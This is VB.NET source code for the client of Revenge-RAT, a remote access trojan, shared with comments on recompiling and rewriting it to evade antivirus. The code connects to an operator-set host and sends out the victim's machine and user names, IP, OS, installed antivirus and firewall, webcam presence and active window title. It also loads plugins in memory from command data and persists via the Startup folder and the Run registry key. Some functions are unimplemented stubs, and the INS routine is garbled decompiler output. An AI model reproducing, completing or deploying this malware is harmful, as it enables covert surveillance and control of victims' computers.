' Fixed By NYAN CAT \\ NOV 25TH, 2018

' Revenge-RAT Client Source Code v0.3
' By N A P O L E O N
' You can update/Crypt the client again, learn if you want , some codes typed direct for beginners
' if you want good result in runtime vs AV, rewrite some functions much as you can
' Last edit: 2016/12/9
Imports System.Environment
Imports System.Management, Microsoft.VisualBasic.Devices, System.Collections.Generic, System.Diagnostics, System.Windows.Forms, System.Globalization, System.IO.Compression, System.Net, System.Threading, Microsoft.Win32, System.Text, System.IO
Imports System.Runtime.CompilerServices
Imports Microsoft.VisualBasic.CompilerServices

Public Class Atomic
    Public OW As Boolean = False
    Public C As Object = Nothing
    Public Cn As Boolean = False
    <Obsolete>
    Public SC = New Thread(AddressOf MAC, 1)
    Public PT As New Thread(AddressOf Pin)
    Public I As Integer = 1
    Public MS As Integer = 0

    '########################################################
    Public Hosts As String() = Split(",", ",") 'Your IP
    Public Ports As String() = Split(",", ",")       'Your Port
    Public Shared Key As String = ""         'Your Key
    '########################################################

    Public ID As String = "TllBTi1DQVQ="
    Public MUTEX As String = "RV_MUTEX-FZMONFueOciq"
    Public H As Integer = 0
    Public P As Integer = 0
    Public Shared SPL As String = "*-]NK[-*"
    Public Shared App As String = Application.ExecutablePath
    Public Shared SCG As New Atomic
    Public Shared DI As ComputerInfo = New ComputerInfo
    Public Shared MT As Mutex
    Public Shared Tick As System.Threading.Timer = Nothing
    Private ahaR As Object
    Private __ As Object

    <Obsolete>
    Shared Sub Main()
        SCG.Execute()
    End Sub

    <Obsolete>
    Sub Execute()
        Try : MT = New Mutex(True, MUTEX, OW) : If Not OW Then End : AddHandler Application.ApplicationExit, Sub() MT.ReleaseMutex()
        Catch : End Try
        SC.Start() : PT.Start()
    End Sub

    Sub Pin()
RE:     If I = 0 Then : MS += 1 : End If : Thread.Sleep(1) : GoTo RE
    End Sub

    Sub data(ByVal b As Byte()) ' receive commands from RV-RAT
        Dim Rev As String() = Split(BS(b), Key)
        If Rev(0) = "PNC" Then
            I = 0
            Send("PNC")
        ElseIf Rev(0) = "P" Then
            I = 1
            Send("P" & Key & MS)
            MS = 0
            Send("W" & Key & GAW())
        ElseIf Rev(0) = "IE" Then ' Ask about plugin
            If Not Registry.CurrentUser.OpenSubKey("Software\" & Encode(MUTEX) & "\" & Rev(1), True) Is Nothing Then : Try : INV(Hosts(H), Ports(P), Rev(4), Rev(5), Encode(Decode(ID) & "_" & HWD()), Registry.GetValue("HKEY_CURRENT_USER\SOFTWARE\" & Encode(MUTEX) & "\" & Rev(1), Rev(1), Nothing).ToString, Rev(2), Rev(3), Rev(1), True) : Catch : Send("GPL" & Key & Rev(5) & Key & Rev(1) & Key & False) : End Try : Else : Send("GPL" & Key & Rev(5) & Key & Rev(1) & Key & False) : End If
        ElseIf Rev(0) = "LP" Then ' invoke plugin
            INV(Hosts(H), Ports(P), Rev(1), Rev(2), Encode(Decode(ID) & "_" & HWD()), Rev(3), Rev(4), Rev(5), Rev(6), Rev(7))
        ElseIf Rev(0) = "UNV" Then ' uninstall - restart - close .. etc
            LA(Rev(1)).CreateInstance(Rev(2)).UNI(Encode(MUTEX), Rev(3), Nothing, Nothing, Nothing, Nothing, Nothing, Nothing, Nothing, Nothing, Nothing, Nothing, Nothing, Nothing, Nothing, Nothing, Nothing, Nothing, Nothing, Nothing, Nothing, Nothing, Nothing, Nothing, Nothing, Nothing, Nothing, Nothing, Nothing, Nothing, Nothing, Nothing, Rev(4), Rev(5), App, Rev(6), Rev(7), Rev(8), Rev(9), Rev(10), Rev(11), Rev(12), Rev(13))
        End If
    End Sub
    Public Sub INS()
        Try
            ahaR.MT = New Mutex(True, Me.MUTEX, Me.OW)
            If Not Me.OW Then
                ProjectData.EndApp()
                AddHandler Application.ApplicationExit, If((_Closure().IR24 - 1 Is Nothing), _Closure().IR24 - 1 = New EventHandler(AddressOf _Closure().I.Lambda_R24 - 1), _Closure().IR24 - 1)
            End If
        Catch exception1 As Exception
            ProjectData.SetProjectError(exception1)
            ProjectData.ClearProjectError()
        End Try
        Thread.Sleep(&H88B8)
        Dim destFileName As String = String.Empty
        Try
            destFileName = (Environment.GetFolderPath(DirectCast(Conversions.ToInteger("26"), SpecialFolder)) & "\Client.exe")
            File.Copy(ahaR.App, destFileName, True)
            Process.Start(destFileName)
            ProjectData.EndApp()
        Catch exception2 As Exception
            ProjectData.SetProjectError(exception2)
            ProjectData.ClearProjectError()
        End Try
        Try
            destFileName = (Environment.GetFolderPath(SpecialFolder.Startup) & "\Client.exe")
            File.Copy(ahaR.App, destFileName, True)
        Catch exception3 As Exception
            ProjectData.SetProjectError(exception3)
            ProjectData.ClearProjectError()
        End Try
        Try
            Me.IR("HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run", "Client", ahaR.App)
        Catch exception4 As Exception
            ProjectData.SetProjectError(exception4)
            ProjectData.ClearProjectError()
        End Try
    End Sub

    Private Function Hid() As Boolean
        Throw New NotImplementedException()
    End Function

    Private Sub USBspr(v As Boolean)
        Throw New NotImplementedException()
    End Sub

    Private Function Spr() As Boolean
        Throw New NotImplementedException()
    End Function

    Private Function FS() As FileStream
        Throw New NotImplementedException()
    End Function

    Private Function RG() As Object
        Throw New NotImplementedException()
    End Function

    Private Function sf() As Object
        Throw New NotImplementedException()
    End Function

    Private Function IsF() As Boolean
        Throw New NotImplementedException()
    End Function

    Private Function F() As Object
        Throw New NotImplementedException()
    End Function

    Private Function Isu() As Boolean
        Throw New NotImplementedException()
    End Function

    Private Function EXE() As Object
        Throw New NotImplementedException()
    End Function

    Private Function DR() As Integer
        Throw New NotImplementedException()
    End Function

    Private Function LO() As Object
        Throw New NotImplementedException()
    End Function

    Private Function CompDir(lO As Object, fileInfo As FileInfo) As Boolean
        Throw New NotImplementedException()
    End Function

    Private Function Idr() As Boolean
        Throw New NotImplementedException()
    End Function

    Private Function IR24() As Integer
        Throw New NotImplementedException()
    End Function

    Private Function _Closure() As Object
        Throw New NotImplementedException()
    End Function

    Public Function INV(ByVal H As String, P As String, N As String, C As String, ID As String, Bytes As String, S As Integer, M As Boolean, MD5 As String, B As Boolean) ' invoke plugin
        LA(Bytes).CreateInstance(N & "." & C, True).Start(ID, S, H, P, Key, SPL) : If M Then : Try : If Registry.CurrentUser.OpenSubKey("Software\" & Encode(MUTEX) & "\" & MD5, True) Is Nothing Then : IR("HKEY_CURRENT_USER\SOFTWARE\" & Encode(MUTEX) & "\" & MD5, MD5, Bytes) : End If : Catch : End Try : If B = False Then : IR("HKEY_CURRENT_USER\SOFTWARE\" & Encode(MUTEX) & "\" & MD5, MD5, Bytes) : End If : End If
    End Function

    Public Function LA(B As String) ' load assembly
        Return Reflection.Assembly.Load(Decompress(Convert.FromBase64String(B)))
    End Function

    Public Function IR(ByVal P As String, N As String, B As String) ' add reg value
        Try : Registry.SetValue(P, N, B) : Catch : End Try
    End Function

    <Obsolete>
    Sub MAC()

        Dim M As Object = New MemoryStream
        Dim lp As Integer = 0
re:
        Try : Try : EmptyWorkingSet(Process.GetCurrentProcess.Handle) : Catch : End Try : Catch : End Try
        Try
            If C Is Nothing Then GoTo e
            If C.Client.Connected = False Then GoTo e
            If Cn = False Then GoTo e
            lp += 1
            If lp > 300 Then
                lp = 0
                If C.Client.Poll(-1, Sockets.SelectMode.SelectRead) And C.Client.Available <= 0 Then GoTo e
            End If
            If C.Available > 0 Then
                Dim B(C.Available - 1) As Byte
                C.Client.Receive(B, 0, B.Length, Sockets.SocketFlags.None)
                M.Write(B, 0, B.Length)
rr:
                If BS(M.ToArray).Contains(SPL) Then
                    Dim A As Array = fx(M.ToArray, SPL)
                    Dim T As New Thread(AddressOf data)
                    T.Start(A(0))
                    M.Dispose()
                    M = New IO.MemoryStream
                    If A.Length = 2 Then
                        M.Write(A(1), 0, A(1).length)
                        GoTo rr
                    End If
                End If
            End If
        Catch
            GoTo e
        End Try
        Thread.CurrentThread.Sleep(1)
        GoTo re
e:
        Try : Try : EmptyWorkingSet(Process.GetCurrentProcess.Handle) : Catch : End Try : Catch : End Try
        Cn = False
        Try
            C.Client.Disconnect(False)
        Catch
        End Try
        Try
            M.Dispose()
        Catch
        End Try
        Try
            Tick.Dispose()
        Catch
        End Try
        M = New MemoryStream
        Dim IC As Boolean = False
        For Count As Integer = 0 To Hosts.Length - 2
            Try
                C = New Sockets.TcpClient() With {.ReceiveTimeout = -1, .SendTimeout = -1, .SendBufferSize = 999999, .ReceiveBufferSize = 999999}
                lp = 0
                CK().Connect(Hosts(Count), Ports(Count))
                Cn = True

                Send("Information" & Key & ID & Key & Encode("_" & HWD()) & Key & IP() & Key & Encode(Environment.MachineName & " / " & Environment.UserName) & Key & CIVC() & Key & Encode(DI.OSFullName & " " & OP()) & Key & Encode(MP()) & Key & DI.TotalPhysicalMemory & Key & GetProduct("Select * from AntiVirusProduct") & Key & GetProduct("SELECT * FROM FirewallProduct") & Key & Ports(P) & Key & GAW() & Key & Encode(CultureInfo.CurrentCulture.Name) & Key & "False") ' RVUS for make this client special color in lv , true for spread , RVUS for you , and false mean this client didn't come from spread
                H = Count
                P = Count
                IC = True
                Dim T As New TimerCallback(AddressOf Ping)
                Tick = New Threading.Timer(T, Nothing, 10000, 30000)
                GoTo re
            Catch
                Thread.Sleep(5000) ' replace it for reconnect time in ms , like 2500 or 5000
                H = 0
                P = 0
            End Try
        Next
        If IC = True Then
            IC = False
            GoTo e
        End If
        GoTo re
    End Sub

    Sub Ping()
        Send("alive??")
    End Sub

    Function CK()
        Return C.Client
    End Function

    Public Sub Send(ByVal b As Byte())
        If Cn = False Then Exit Sub
        Try
            Dim r As Object = New MemoryStream
            r.Write(b, 0, b.Length)
            r.Write(SB(SPL), 0, SPL.Length)
            C.Client.SendBufferSize = b.Length
            C.Client.Poll(-1, Net.Sockets.SelectMode.SelectWrite)
            C.Client.Send(r.ToArray, 0, r.Length, Sockets.SocketFlags.None)
            r.Dispose()
        Catch
            Cn = False
        End Try
    End Sub

    Public Sub Send(ByVal S As String)
        Send(SB(S))
    End Sub

    <Obsolete>
    Public Function IP()
        Try : Return CType(Dns.GetHostByName(Dns.GetHostName()).AddressList.GetValue(0), IPAddress).ToString() : Catch : Return "????" : End Try
    End Function

    Private Declare Function GVI Lib "kernel32" Alias "GetVolumeInformationA" (ByVal IP As String, ByVal V As String, ByVal T As Integer, ByRef H As Integer, ByRef Q As Integer, ByRef G As Integer, ByVal J As String, ByVal X As Integer) As Integer : Private Declare Function GFW Lib "user32" Alias "GetForegroundWindow" () As IntPtr : Private Declare Auto Function GetWindowText Lib "user32" (ByVal hWnd As IntPtr, ByVal lpString As StringBuilder, ByVal cch As Integer) As Integer : Declare Function capGetDriverDescriptionA Lib "avicap32.dll" (ByVal wDriver As Short, ByVal lpszName As String, ByVal cbName As Integer, ByVal lpszVer As String, ByVal cbVer As Integer) As Boolean
    <Runtime.InteropServices.DllImport("psapi")>
    Public Shared Function EmptyWorkingSet(ByVal hProcess As Long) As Boolean
    End Function

    Public Function HWD() As String
        Try : Dim HSN As Integer : GVI(Environ("SystemDrive") & "\", Nothing, Nothing, HSN, 0, 0, Nothing, Nothing) : Return Hex(HSN) : Catch : Return "ERR" : End Try
    End Function

    Public Function CIVC() As String
        Try : For i As Integer = 0 To 4 : If capGetDriverDescriptionA(i, Space(100), 100, Nothing, 100) Then : Return "Yes" : End If : Next : Catch : End Try : Return "No"
    End Function

    Public Shared Function OP() As String
        Try : For Each SC As ManagementObject In New ManagementObjectSearcher("select * from Win32_Processor").[Get]() : Return Convert.ToInt32(SC("AddressWidth")) : Next : Catch : Return "????" : End Try
    End Function

    Public Function GetProduct(ByVal Product As String) As String
        Try : Dim PN As String = String.Empty : For Each AV As ManagementObject In New ManagementObjectSearcher("root\SecurityCenter" & IIf(DI.OSFullName.Contains("XP"), "", "2").ToString, Product).Get : PN &= AV("displayName").ToString : Next : If Not PN = String.Empty Then : Return Encode(PN) : Else : Return Encode("N/A") : End If : Catch : Return Encode("N/A") : End Try
    End Function

    Public Function MP()
        Try : Return Registry.GetValue("HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\SYSTEM\CENTRALPROCESSOR\0", "ProcessorNameString", Nothing).ToString : Catch : Return "????" : End Try
    End Function

    Public Function GAW() As String
        Dim W As New StringBuilder(256) : GetWindowText(GFW(), W, W.Capacity) : Return Encode(W.ToString())
    End Function

    Function SB(ByVal s As String) As Byte()
        Return Encoding.Default.GetBytes(s)
    End Function

    Function BS(ByVal b As Byte()) As String
        Return Encoding.Default.GetString(b)
    End Function

    Function fx(ByVal b As Byte(), ByVal WRD As String) As Array
        Dim a As New List(Of Byte()), M As New MemoryStream, MM As New MemoryStream, T As String() = Split(BS(b), WRD) : M.Write(b, 0, T(0).Length) : MM.Write(b, T(0).Length + WRD.Length, b.Length - (T(0).Length + WRD.Length)) : a.Add(M.ToArray) : a.Add(MM.ToArray) : M.Dispose() : MM.Dispose() : Return a.ToArray
    End Function

    Public Function Decompress(data As Byte()) As Byte()
        Dim input As New MemoryStream() : input.Write(data, 0, data.Length) : input.Position = 0
        Dim gzip As New GZipStream(input, CompressionMode.Decompress, True), output As New MemoryStream(), buff As Byte() = New Byte(63) {}, read As Integer = -1
        read = gzip.Read(buff, 0, buff.Length) : While read > 0 : output.Write(buff, 0, read) : read = gzip.Read(buff, 0, buff.Length) : End While : gzip.Close() : Return output.ToArray()
    End Function

    Public Function Encode(ByVal Input As String)
        Return Convert.ToBase64String(Encoding.UTF8.GetBytes(Input))
    End Function

    Public Function Decode(ByVal Input As String)
        Return Encoding.UTF8.GetString(Convert.FromBase64String(Input))
    End Function

End Class